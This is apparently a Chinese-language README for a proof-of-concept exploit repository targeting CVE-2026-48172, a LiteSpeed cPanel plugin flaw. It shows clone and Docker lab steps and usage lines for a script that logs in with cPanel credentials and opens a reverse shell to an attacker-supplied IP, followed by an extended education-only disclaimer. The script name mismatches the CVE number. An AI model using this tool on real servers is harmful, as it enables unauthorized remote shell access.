📚 教育性安全研究仓库

一个用于在受控环境中学习、测试和研究网络安全概念的仓库。

---

⚡ 简单用法

请仅在安全且已授权的环境中使用本项目，例如：

• 本地虚拟机
• Docker 容器
• 隔离的实验环境
• 已授权的渗透测试环境

示例配置：

git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172

cd lab
docker compose up --build -d
cd ..

示例用法：

# 用于本地主机（自动使用 HTTP）
python3 cve-2026-48712.py -u test -p test -H localhost:2083 -i 192.168.1.100

# 用于远程服务器（使用 HTTPS）
python3 cve-2026-48712.py -u test -p test -H example.com:2083 -i 192.168.1.100

usage: cve-2026-48712.py [-h] -u USER -p PASSWORD [-H HOST] -i ATTACKER_IP [-P ATTACKER_PORT]

CVE-2026-48172 PoC - LiteSpeed cPanel Redis TLS 反向 Shell

options:
  -h, --help            show this help message and exit
  -u, --user USER       cPanel username
  -p, --password PASSWORD
                        cPanel password
  -H, --host HOST       cPanel host with protocol and port (default: http://localhost:2083)
  -i, --attacker-ip ATTACKER_IP
                        Your IP for reverse shell
  -P, --attacker-port ATTACKER_PORT
                        Reverse shell port (default: 8443)

请将上述命令替换为你实际的项目配置步骤。

---

---

致谢或参考

• https://nvd.nist.gov/vuln/detail/CVE-2026-48172
• https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html
• https://www.cve.org/CVERecord?id=CVE-2026-48172

---

⚠️ 安全与法律免责声明

目的

本仓库仅用于教育和已授权的安全研究。

它旨在帮助用户了解：

• 安全漏洞
• 沙箱与隔离概念
• 安全编码与防御实践

---

仅限授权使用

请仅在您拥有权限的环境中使用本仓库，例如：

• 个人实验室或虚拟机
• Docker 或隔离环境
• 已授权的渗透测试
• 网络安全培训或学术研究

严禁未经授权或非法使用。

---

无责任声明

作者和贡献者不对本项目造成的任何损害、误用、法律问题或损失负责。

使用本仓库即表示您同意：

• 您对自己的行为负责
• 您将合法且合乎道德地使用它
• 本项目按“不提供任何担保”提供

---

道德使用

本项目旨在用于：

• 防御性安全研究
• 网络安全教育
• 漏洞意识提升
• 安全系统与软件研究

请遵循负责任的披露实践，并遵守所有适用法律。

---

联系方式

如需进行负责任的披露或合作，请通过 GitHub 联系仓库维护者。